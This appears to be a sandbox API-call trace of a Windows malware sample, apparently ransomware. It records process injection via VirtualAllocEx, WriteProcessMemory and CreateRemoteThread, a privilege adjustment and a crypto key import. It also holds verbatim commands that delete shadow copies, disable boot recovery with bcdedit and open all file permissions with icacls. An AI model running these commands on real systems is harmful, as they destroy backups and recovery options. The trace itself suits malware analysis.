	[0179.932] SetLastError (dwErrCode=0x0) 
	[0179.932] VirtualAllocEx (hProcess=0x3b4, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0179.932] GetLastError () returned 0x1e7
	[0179.932] CloseHandle (hObject=0x3b4) returned 1
	[0179.932] Sleep (dwMilliseconds=0x1f4) 
	[0180.558] SetLastError (dwErrCode=0x0) 
	[0180.558] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0xb7c) returned 0x3b4
	[0180.559] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0180.559] SetLastError (dwErrCode=0x0) 
	[0180.559] VirtualAllocEx (hProcess=0x3b4, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x0
	[0180.559] GetLastError () returned 0x1e7
	[0180.559] CloseHandle (hObject=0x3b4) returned 1
	[0180.559] Sleep (dwMilliseconds=0x1f4) 
	[0181.288] SetLastError (dwErrCode=0x0) 
	[0181.288] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x7b4) returned 0x3b4
	[0181.288] GetModuleHandleA (lpModuleName=0x0) returned 0x13fbf0000
	[0181.288] SetLastError (dwErrCode=0x0) 
	[0181.288] VirtualAllocEx (hProcess=0x3b4, lpAddress=0x13fbf0000, dwSize=0x163000, flAllocationType=0x3000, flProtect=0x40) returned 0x13fbf0000
	[0181.296] WriteProcessMemory (in: hProcess=0x3b4, lpBaseAddress=0x13fbf0000, lpBuffer=0x13fbf0000*, nSize=0x163000, lpNumberOfBytesWritten=0x114508 | out: lpBuffer=0x13fbf0000*, lpNumberOfBytesWritten=0x114508*=0x163000) returned 1
	[0181.930] CreateRemoteThread (in: hProcess=0x3b4, lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf7014, lpParameter=0x13fbf0000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x274
	[0182.302] Sleep (dwMilliseconds=0x1f4) 
	[0183.051] Sleep (dwMilliseconds=0x1388) 
	[0188.381] SetLastError (dwErrCode=0x0) 
	[0188.381] GetCurrentThread () returned 0xfffffffffffffffe
	[0188.381] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=0, TokenHandle=0x113c40 | out: TokenHandle=0x113c40*=0x134) returned 1
	[0188.381] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeBackupPrivilege", lpLuid=0x113bc8 | out: lpLuid=0x113bc8*(LowPart=0x11, HighPart=0)) returned 1
	[0188.383] AdjustTokenPrivileges (in: TokenHandle=0x134, DisableAllPrivileges=0, NewState=0x113b90*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1
	[0188.383] GetLastError () returned 0x0
	[0188.383] GetVersionExW (in: lpVersionInformation=0x113a80*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x113a80*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0188.383] GetWindowsDirectoryW (in: lpBuffer=0x13fd4dad0, uSize=0x64 | out: lpBuffer="C:\\Windows") returned 0xa
	[0188.384] GetWindowsDirectoryW (in: lpBuffer=0x13fd4dc90, uSize=0x140 | out: lpBuffer="C:\\Windows") returned 0xa
	[0188.384] CryptAcquireContextW (in: phProv=0x13fd4db38, szContainer="AES_unique_", szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x10 | out: phProv=0x13fd4db38*=0x0) returned 0
	[0188.410] CryptAcquireContextW (in: phProv=0x13fd4db38, szContainer="AES_unique_", szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x20 | out: phProv=0x13fd4db38*=0x27f360) returned 1
	[0188.420] CryptImportKey (in: hProv=0x27f360, pbData=0x13fc0e310, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x1, phKey=0x13fd4dc80 | out: phKey=0x13fd4dc80*=0x2b8b20) returned 1
	[0188.421] Sleep (dwMilliseconds=0x3e8) 
	[0189.918] WinExec (lpCmdLine="cmd /c \"WMIC.exe shadowcopy delete\"", uCmdShow=0x0) returned 0x21
	[0189.936] WinExec (lpCmdLine="cmd /c \"vssadmin.exe Delete Shadows /all /quiet\"", uCmdShow=0x0) returned 0x21
	[0190.285] WinExec (lpCmdLine="cmd /c \"bcdedit /set {default} recoveryenabled No & bcdedit /set {default}\"", uCmdShow=0x0) returned 0x21
	[0190.301] WinExec (lpCmdLine="cmd /c \"bootstatuspolicy ignoreallfailures\"", uCmdShow=0x0) returned 0x21
	[0190.317] GetLogicalDrives () returned 0x4
	[0190.317] WinExec (lpCmdLine="icacls \"C:\\*\" /grant Everyone:F /T /C /Q", uCmdShow=0x0) returned 0x21
	[0190.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf5938, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x164
	[0191.518] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2690000
	[0191.731] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x1e0000
	[0191.732] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2980000
	[0191.732] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x360000
	[0191.733] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2f90000
	[0191.733] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2090000
	[0191.733] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3090000
	[0191.734] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2560000
	[0191.734] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3190000
	[0191.734] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2570000
	[0191.735] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3290000
	[0191.735] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2580000
	[0191.735] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3390000
	[0191.736] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2590000
	[0191.736] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3490000
	[0191.737] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x25a0000
	[0191.737] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3590000
	[0191.737] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x25b0000
	[0191.738] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3690000
	[0191.738] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x25c0000
	[0191.738] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3790000
	[0191.739] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x25d0000
	[0191.740] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3890000
	[0191.741] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x25e0000
	[0191.741] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3990000
	[0191.741] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x25f0000
	[0191.741] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3a90000
	[0191.742] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2600000
	[0191.742] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3b90000
	[0191.742] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2610000
	[0191.743] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3c90000
	[0191.743] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27c0000
	[0191.743] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3d90000
	[0191.744] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2a80000
	[0191.744] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3e90000
	[0191.744] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2a90000
	[0191.745] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3f90000
	[0191.745] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2aa0000
	[0191.745] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4090000
	[0191.746] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2ab0000
	[0191.746] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4190000
	[0191.747] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2ac0000
	[0191.747] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4290000
	[0191.747] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2ad0000
	[0191.748] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4390000
	[0191.748] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000
	[0191.748] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4490000
	[0191.749] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2df0000
	[0191.749] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4590000
	[0191.749] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2e00000
	[0191.750] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4690000
	[0191.750] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2e10000
	[0191.750] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4790000
	[0191.751] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2e20000
	[0191.751] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4890000
	[0191.752] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2e30000
	[0191.752] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4990000
	[0191.752] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2e40000
	[0191.753] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4a90000
	[0191.753] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2e50000
	[0191.753] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4b90000
	[0191.754] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2e60000
	[0191.754] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4c90000
	[0191.754] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2e70000
	[0191.755] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4d90000
	[0191.755] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2e80000
	[0191.756] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4e90000
	[0191.756] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4f90000
	[0191.757] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4fa0000
	[0191.757] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x50a0000
	[0191.758] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x50b0000
	[0191.758] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x51b0000
	[0191.758] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x51c0000
	[0191.759] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x52c0000
	[0191.759] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x52d0000
	[0191.759] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x53d0000
	[0191.760] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x53e0000
	[0191.760] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x54e0000
	[0191.761] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x54f0000
	[0191.761] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x55f0000
	[0191.761] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5600000
	[0191.762] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5700000
	[0191.762] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5710000
	[0191.763] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5810000
	[0191.763] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5820000
	[0191.763] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5920000
	[0191.764] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5930000
	[0191.764] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5a30000
	[0191.765] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5a40000
	[0191.765] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5b40000
	[0191.765] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5b50000
	[0191.766] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5c50000
	[0191.766] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5c60000
	[0191.767] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5d60000
	[0191.767] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5d70000
	[0191.768] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5e70000
	[0191.768] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5e80000
	[0191.769] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5f80000
	[0191.769] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5f90000
	[0191.769] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6090000
	[0191.770] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x60a0000
	[0192.081] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x61a0000
	[0192.082] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x61b0000
	[0192.083] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x62b0000
	[0192.083] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x62c0000
	[0192.084] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x63c0000
	[0192.084] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x63d0000
	[0192.085] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x64d0000
	[0192.085] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x64e0000
	[0192.085] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x65e0000
	[0192.086] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x65f0000
	[0192.086] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x66f0000
	[0192.087] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6700000
	[0192.087] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6800000
	[0192.088] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6810000
	[0192.088] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6910000
	[0192.089] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6920000
	[0192.089] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6a20000
	[0192.089] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6a30000
	[0192.090] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6b30000
	[0192.090] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6b40000
	[0192.091] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6c40000
	[0192.091] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6c50000
	[0192.092] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6d50000
	[0192.092] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6d60000
	[0192.093] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6e60000
	[0192.093] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6e70000
	[0192.094] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6f70000
	[0192.094] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6f80000
	[0192.094] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7080000
	[0192.095] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7090000
	[0192.095] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7190000
	[0192.097] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x71a0000
	[0192.097] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x72a0000
	[0192.098] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x72b0000
	[0192.098] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x73b0000
	[0192.099] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x73c0000
	[0192.099] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x74c0000
	[0192.100] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x74d0000
	[0192.100] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x75d0000
	[0192.101] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x75e0000
	[0192.101] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x76e0000
	[0192.102] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x76f0000
	[0192.102] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x77f0000
	[0192.103] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7800000
	[0192.103] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7900000
	[0192.103] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7910000
	[0192.104] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7a10000
	[0192.104] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7a20000
	[0192.105] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7b20000
	[0192.105] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7b30000
	[0192.106] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7c30000
	[0192.106] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7c40000
	[0192.107] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7d40000
	[0192.107] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7d50000
	[0192.108] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7e50000
	[0192.109] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7e60000
	[0192.109] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7f60000
	[0192.110] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7f70000
	[0192.110] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8070000
	[0192.111] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x8080000
	[0192.111] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8180000
	[0192.112] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x8190000
	[0192.112] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8290000
	[0192.113] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x82a0000
	[0192.296] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2540000
	[0192.297] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000
	[0192.297] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2550000
	[0192.298] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x84a0000
	[0192.298] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x85a0000
	[0192.299] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x85b0000
	[0192.299] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0192.300] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x86c0000
	[0192.300] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x87c0000
	[0192.301] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x87d0000
	[0192.301] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x88d0000
	[0192.302] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x88e0000
	[0192.302] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x89e0000
	[0192.303] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x89f0000
	[0192.303] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8af0000
	[0192.304] GetWindowsDirectoryW (in: lpBuffer=0x113250, uSize=0x64 | out: lpBuffer="C:\\Windows") returned 0xa
